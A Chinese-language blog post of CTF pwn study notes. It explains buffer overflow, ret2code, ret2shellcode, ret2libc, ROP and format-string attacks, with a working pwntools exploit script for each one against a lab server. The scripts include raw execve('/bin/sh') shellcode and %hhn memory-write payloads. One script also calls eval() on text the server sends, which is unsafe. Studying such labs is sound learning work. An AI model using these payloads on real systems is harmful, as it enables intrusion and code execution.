pwn也好好玩,以前都只有玩web和crypto(還有forensics, rev但不是很熟練)。所以算是第一次深度接觸owob
漏洞攻擊從入門到放棄(?)
漏洞攻擊從入門到入土(O)
漏洞攻擊從入門到入獄(X)
python pwn, Ghidra/IDA, radare2(r2), gdb…反正就rev的東西大概要會owob
程式架構、linux指令
由低而高
要注意python3要decode, encode, b之類ㄉ…
python2才是pwntools使用的最佳地點(O)
r=remote($ip, $port)
r=process($path)
recvuntil('字串')
recv(字節大小)
recvline(keepends=True)
recvcall()
sendline('string')
send('string')
p32(int), p64(int)
eval()
並用python pwntools送出即可
from pwn import *
r=remote('120.114.62.213', 2116)
#r=process('./pwntools')
s=r.recvuntil('\n')
print('>>'+s.decode())
r.sendline(p32(0x79487ff))
print(p64(0x79487ff))
s=r.recvuntil('\n')
print(s)
for i in range(1000):
question = r.recvuntil('?')[:-3]
eval(question)
print(question)
r.sendline(str(eval(question)))
print((str(eval(question))))
print('meow\n')
r.interactive()
圖:
利用對某個buffer在stack上面overflow到stack以上的其他資料進而修改之。(radare2可以分析每個stack上面資料byte大小,確認要overflow到哪個地方。)
Stack Canary會根據canary值是否被改動做一次overflow確認,所以必須被關閉或者可以在overflow時不動到canary的value(或者能overwrite canary)
0x20
bytes(因為它是var_20h
) ,所以它如果想要把var_1ch
覆蓋掉,payload為'A'*(0x20-0x1c)+p32(你要修改的值)
from pwn import *
payloads=b'a'*12+p32(0xfaceb00c)+p32(0xdeadbeef)+p32(0xaaaaaaaa)
r=remote('120.114.62.213', 2111)
#r=process('./luck')
s=r.recvuntil(':')
print(s)
r.sendline(payloads)
r.interactive()
圖:
Overflow到一個函數return的地方,並且注入某個程式碼片段中的位址,比單純BOF多一個PIE被關閉是因為PIE會將data段和code段位址隨機化
/bin/sh
的admin功能,要overflow到ret的地方使code跑去隱藏的函數位址(可以用radare2敲出來),最後payload在設計的時候只要記得除了把所有資料都overflow掉還要加上saved rbp的8 byte大小並接上隱藏函數的位址
from pwn import *
r=remote('120.114.62.213',2121)
s=r.recvuntil('\n')
print(s)
s=r.recvuntil(':')
print(s)
payload=b'a'*0x28+p64(0x400646)
r.sendline(payload)
r.interactive()
圖:
Overflow到一個函數return的地方,並且注入某個程式碼片段中的位址(此位置已被注入/bin/sh操作payload),比ret2code還嚴格是因為NX會區分可執行可寫的權限不重疊,而可以注入shellcode payload的地方必須要同時能執行。
geb-vmmapn 可以確定哪些記憶體區段是可以執行的
from pwn import *
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
r=remote('120.114.62.213', 2122)
#r=process('./ret2sc')
payload=b'a'*0x28+p64(0x601080)
s=r.recvuntil(':')
print(s)
r.sendline(shellcode)
s=r.recvuntil(':')
print(s)
r.sendline(payload)
r.interactive()
圖:
在程式碼需要執行某個函數時,透過呼叫他的plt去got表中尋找他在libary中的真正位置,如果沒有的話就會去library把該函數抓出來並放入got表以便下次查詢
利用libc進行舉例:
因為ASLR的系統設定,每次got value都會加上一個隨機的libc base,導致每次執行的時候got value都不一樣。
如果可以得到某函數的got位址,就可以算出libc並加上任意函數的在libc的位址
libc base=函數的got value-函數在libc中的位址
Overflow到一個函數return的地方,並且注入某個位址,最後讓他return 去libc上面的某些好用函數(像是system,execve)。
必須得到某個函數的got value以及對方的libc,才能反推回去你要的特定函數got value並注入
execve("/bin/sh", rsp+0x30, environ)
函數在libc的位址,最後經由got value算法加回去並利用 BOF ret注入即可
from pwn import *
r=remote('120.114.62.213', 2123)
for i in range(4):
s=r.recvuntil('\n')
print(s)
s=r.recvuntil(':')
print(s)
r.sendline('0x601018')
s=r.recvuntil('\n')[:-1].split(' ')
print(s)
dat=int(s[6], 16)
dat=dat
print(hex(dat))
s=r.recvuntil(':')
payload=b'a'*0x118+p64(dat-0x000000000006f690+0x45216)
r.sendline(payload)
r.interactive()
圖:
利用可以創造可以修改plt值的機會改成想要的函數之位址
簡稱:ROP
戳一下->ROP好好玩owob
所謂ROP Gadget就是最後由ret結尾的程式碼片段
可以使用工具ROPgadget選擇適合的片段
利用BOF串接Gadget到stack上面並讓它執行在函數return的地方,進行pop、ret等各種操作後搭配給定的ret2code變數(必須是全域或者有辦法找到他的位址,不然無法再別的函數裡戳它),最後跑到某個片段做執行(通常是system函數)
from pwn import *
r=remote('120.114.62.213', 2120)
s=r.recvuntil('\n')
print(s)
r.sendline('/bin/sh\x00')
#global_variable defining
s=r.recvuntil('\n')
print(s)
payload=b'a'*0x38+p64(0x0000000000400773)+p64(0x601070)+p64(0x4006bf)
#buffer(0x30)+rdi(0x8)+ret2gadget(0x8)+gadgetValue(0x8)+gadget_to_system_function(0x8)
r.sendline(payload)
r.interactive()
圖:
wwww其實ROP感覺還有很多東西還沒學到,之後有空練owob
大概念:c語言裡面的printf如果單純輸出字串變數其實是可以被自訂格式的
%x
以hex的方式輸出內容,一直疊可以戳超出記憶體
%p
會輸出某個變數的value
%{number}$p
可以輸出stack上面指定number的變數value
%{amount}c%{number}$n
可以填入某個amount的字元到stack上面某個變數,並且因為後面接n所以可以變成8byte的value,但是這樣高機率會出事情,所以一般都使用1byte的hhn填下去
from pwn import *
import binascii
r=remote('120.114.62.213', 4001)
s=r.recvuntil('\n')
print(s);
payload='%6$p,%7$p,%8$p,%9$p,%10$p,%11$p,%12$p#'
r.sendline(payload)
s=r.recvuntil('#')[9:-1].split(',')
def enc(x):
x=hex(int(x[2:], 16))
x=binascii.unhexlify(x[2:])
cnt=''
for i in range(len(x)):
cnt += x[len(x)-1-i]
return cnt
ans=''
for i in s:
ans+=enc(i)
print(ans)
圖:(不小心戳太多東西呵呵)
%{amount}c%{number}$n
類型的payload打
from pwn import *
r=remote('120.114.62.213', 4003)
s=r.recvuntil(':')
print(s)
'''
%??c%?$hhn%??c%?$hhn%??c%?$hhn%??c%?$hhn
value
value+1
value+2
value+3
'''
ch=0
addr=0x404050
value=0xfaceb00c
payload=''
idx=12
for i in range(4):
addch=((256-ch)+(value&0xff))%256
payload+='%{}c%{}$hhn'.format(addch, idx)
ch=value & 0xff
value >>= 8
idx=idx+1
print(payload, len(payload))
payload=payload+3*'a'
print(payload, len(payload))
payload=payload+p64(addr)+p64(addr+1)+p64(addr+2)+p64(addr+3)
print(payload, len(payload))
r.sendline(payload)
r.interactive()
圖: